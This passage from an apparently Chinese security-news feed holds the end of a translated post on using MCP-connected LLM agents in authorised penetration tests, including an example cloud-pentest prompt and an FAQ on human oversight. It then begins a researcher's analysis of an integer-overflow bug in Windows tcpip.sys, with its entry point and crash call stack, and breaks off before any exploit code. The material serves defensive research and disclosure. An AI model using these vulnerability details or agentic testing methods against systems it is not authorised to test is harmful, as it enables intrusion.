leaf="">cloudfox</span></code><span leaf="">等工具，以应对那些令人头疼的多云原生组织。我们可以快速手动收集这些数据，也可以在配置好凭据后指示 LLM 去做。一旦数据收集完毕，这就是 LLM 的完美用例——我们拥有只读访问权限，且对于较大的云环境有海量数据需要分析。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">Perform a cloud penetration test against the following AWS account: 012345678901</span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">Utilize the cloud penetration testing methodology in the file cpt-test-plans.md and keep track of which test plans have been executed as work prorgresses. Utilize the profile testers-read-only that is authenticated.</span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">Current data collected exists in the ./data directory for scoutsuite, pmapper, manual AWS CLI enumeration, and cloudfox</span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">Determine the validity and applicability of the observations in the data initially gathered. Use the MCP server&#39;s execute functionality with the aws CLI to be sure that no false positives exist in the suggested findings. It is common that these tools will report issues that are not relevant given the context of the environment.</span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">这是一个示例提示词，它传达了范围、如何用只读账户进行认证、当前数据在哪里，以及任务是什么。即便账户被限制为只读访问，对每一条执行的命令负责仍然至关重要。这种方法之所以加倍重要，是因为我们希望从系统中学习，与使用系统同等重要，否则我们的认知能力会萎缩。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">读者需要注意的重要一点是：在执行外部渗透测试、针对公开应用的移动应用评估，或针对公开应用的应用渗透评估时，这些都是互联网上可访问的系统。而对于已认证的内部客户云账户访问则并非如此。如有疑问，请与客户确认——他们可能会为从事现场工作的顾问提供其自有的推理服务提供商的访问权限；他们也可能乐于使用咨询公司现有的推理服务提供商。否则，本地推理选项在中端系统配置上也能为我们带来最先进模型所赋予的大部分价值。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">结语</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">除了以所讨论的方式使用这些技术之外，还有一些其他用法浮现在脑海中——它们在时间受限的渗透测试中，使得此前不可能或不可行的某些攻击和威胁模型得以实现：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">通过源代码分析或网络与应用模糊测试发现原始漏洞</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">开发自定义工具以提升每次项目的技术效率</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">执行那些因时间限制而可能不会被 pursued 的测试用例</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">在本地或远程识别软件，找到一个尚无公开利用代码的 CVE，看看 LLM 能否通过网络模糊测试或本地调试将其破解。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">希望这些信息能激发关于这项技术在负责任地用于安全评估时所能实现之可能性的想法。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">常见问题</span></h2><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">什么是 MCP？</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">模型上下文协议（MCP）是一个开放协议，用于标准化应用程序如何向 LLM 提供工具、数据和上下文，使用 JSON-RPC 2.0 通过 stdio 或 HTTP 传输。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">渗透测试中的 MCP 是什么？</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">模型上下文协议（MCP）使 AI 模型能够在渗透测试期间与工具、文件和系统交互。它允许 AI 确定性地执行任务、分析结果并记录发现，同时测试人员保持监督和控制。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">AI 如何改进渗透测试？</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">AI 帮助渗透测试人员自动化重复性工作、分析更多数据，并在项目期间覆盖更多范围。它并非取代人类专业知识，而是使测试人员能将更多时间用于验证发现和调查复杂的攻击路径。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">AI 能独立完成渗透测试吗？</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">还不能。AI 可以加速许多测试任务，但无法取代人类判断。经验丰富的渗透测试人员仍负责定义范围、验证发现、监督工具执行以及评估业务风险。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">AI 在应用安全测试中如何使用？</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">AI 可以帮助执行测试方法论、分析应用行为、检查 HTTP 流量并识别潜在漏洞。与安全工具配合使用时，它还有助于记录测试活动并在整个评估过程中保持上下文。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">AI 能帮助进行云渗透测试吗？</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">能。AI 可以快速分析云安全数据、识别潜在的错误配置、跨服务关联发现并帮助验证风险。人工监督仍然不可或缺，尤其是在已认证的客户环境中工作之时。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;" data-nest-level="3"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://bishopfox.com/blog/using-mcp-agents-for-penetration-testing">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8fcdc995&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496724%26idx%3D1%26sn%3D4bde13f6c92a4cef7162e9f9045672a5">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 27 Jul 2026 10:50:00 +0800</pubDate>
    </item>
    <item>
      <title>我是如何在 tcpip.sys 中发现整数溢出漏洞的</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496724&amp;idx=2&amp;sn=4924dc45a5ea0be611d9d869579d7934</link>
      <description>作者在 Windows 网络驱动 tcpip.sys 的 ALE 重定向记录反序列化路径中发现整数溢出漏洞，64 位计数乘以记录大小后回绕为零，绕过边界检查导致越界读写。</description>
      <content:encoded><![CDATA[<p><span>April Ivy</span> <span>2026-07-27 10:50</span> <span style="display: inline-block;">英国</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b1a7c61c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSj3iazV144gvCk805IJgo47wMPCI05Uuu033ER8v8zXk9nWOZEIyxh7mUN1RMpk29eKPHkOcH5RXQ7YpeRJpG0PGeGsesicu20c8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>作者在 Windows 网络驱动 tcpip.sys 的 ALE 重定向记录反序列化路径中发现整数溢出漏洞，64 位计数乘以记录大小后回绕为零，绕过边界检查导致越界读写。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p data-nest-level="6"><span leaf="" data-nest-level="7">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p data-nest-level="6"><span leaf="" data-nest-level="7">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p data-nest-level="6"><span leaf="" data-nest-level="7"><a href="https://aprl.pet/writing/cve-2026-58532" target="_blank">https://aprl.pet/writing/cve-2026-58532</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p data-nest-level="6"><span leaf="" data-nest-level="7">April Ivy</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">或者说，为什么 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">count * size</span></code><span leaf="">也需要做溢出检查</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">今年早些时候，我在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">tcpip.sys</span></code><span leaf="">——Windows 的网络驱动——中发现了一个整数溢出漏洞。该漏洞已在 2026 年 7 月的安全更新中修复，编号为 CVE-2026-58532。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">我最初对研究 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">tcpip.sys</span></code><span leaf="">产生兴趣，是因为读了另一位研究者关于该驱动中一个由类似缺陷导致的远程代码执行（RCE）漏洞的分析文章。这让我对网络协议栈中那些不太显眼的解析与反序列化路径产生了好奇，也正是由此，我开始关注 ALE 重定向记录。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">从本质上说，这是一个相当简单的漏洞。一个 64 位计数值乘以记录大小后结果发生回绕，边界检查瞬间形同虚设。不幸的是，这发生在一个内核反序列化器中，而它随后会开始分配和拷贝实际上从未被传入的记录。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">调用路径</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">入口点是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS</span></code><span leaf="">，一个传递给 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">WSAIoctl</span></code><span leaf="">的 Winsock 套接字控制操作。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">它经过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">tcpip.sys</span></code><span leaf="">中的 WFP ALE 处理代码，最终到达 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">AleRedirectRecordsDeserializeFromBuffer</span></code><span leaf="">。输入以一个 64 位记录计数开头，后跟序列化的重定向记录。每条记录大小为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">0x228</span></code><span leaf="">字节。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">以下是我捕获的崩溃中的调用链：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);" data-nest-level="2"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;" data-nest-level="3"><span leaf="">tcpip!AleRedirectRecordsDeserializeFromBuffer+0x18d</span><br/><span leaf="">tcpip!WfpAleProcessSocketOption+0x273</span><br/><span leaf="">tcpip!InetInspectSocketOption+0x60</span><br/><span leaf="">tcpip!TcpSetSockOptEndpoint+0xc75</span><br/><span leaf="">afd!AfdTLIoControl+0x986</span><br/><span leaf="">WS2_32!WSAIoctl+0x182</span></code></pre><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 